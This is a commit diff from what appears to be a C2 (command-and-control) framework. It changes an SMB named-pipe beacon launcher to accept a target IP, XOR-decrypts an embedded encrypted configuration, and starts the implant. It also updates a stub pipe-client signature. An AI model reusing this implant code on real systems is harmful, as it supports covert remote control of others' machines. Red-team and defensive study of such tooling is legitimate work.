Skip to content

Commit 59e78ea

Browse files
committed
maj core
1 parent 5357e99 commit 59e78ea

File tree

4 files changed

+10
-6
lines changed

4 files changed

+10
-6
lines changed

beacon/beacon/BeaconSmbLauncher.cpp

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,16 +8,20 @@ using namespace std;
88

99
int main(int argc, char* argv[])
1010
{
11+
std::string ip = "127.0.0.1";
1112
std::string pipeName = "mynamedpipe";
12-
if(argc > 1)
13-
pipeName = argv[1];
13+
if(argc > 2)
14+
{
15+
ip = argv[1];
16+
pipeName = argv[2];
17+
}
1418

1519
std::string configDecrypt(std::begin(_EncryptedBeaconHttpConfig_), std::end(_EncryptedBeaconHttpConfig_));
1620
std::string keyConfig(std::begin(_KeyConfig_), std::end(_KeyConfig_));
1721
XOR(configDecrypt, keyConfig);
1822

1923
std::unique_ptr<Beacon> beacon;
20-
beacon = make_unique<BeaconSmb>(configDecrypt, pipeName);
24+
beacon = make_unique<BeaconSmb>(configDecrypt, ip, pipeName);
2125

2226
beacon->run();
2327
}

libs/libPipeHandlerDumy/src/PipeHandler.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ bool Server::receiveData(std::string& data)
4242

4343

4444
// https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
45-
Client::Client(const std::string& pipeName)
45+
Client::Client(const std::string& ip, const std::string& pipeName)
4646
{
4747

4848
}

libs/libPipeHandlerDumy/src/PipeHandler.hpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@ class Server
3232
class Client
3333
{
3434
public:
35-
Client(const std::string& pipeName);
35+
Client(const std::string& ip, const std::string& pipeName);
3636
~Client();
3737

3838
bool initConnection();

0 commit comments

Comments
 (0)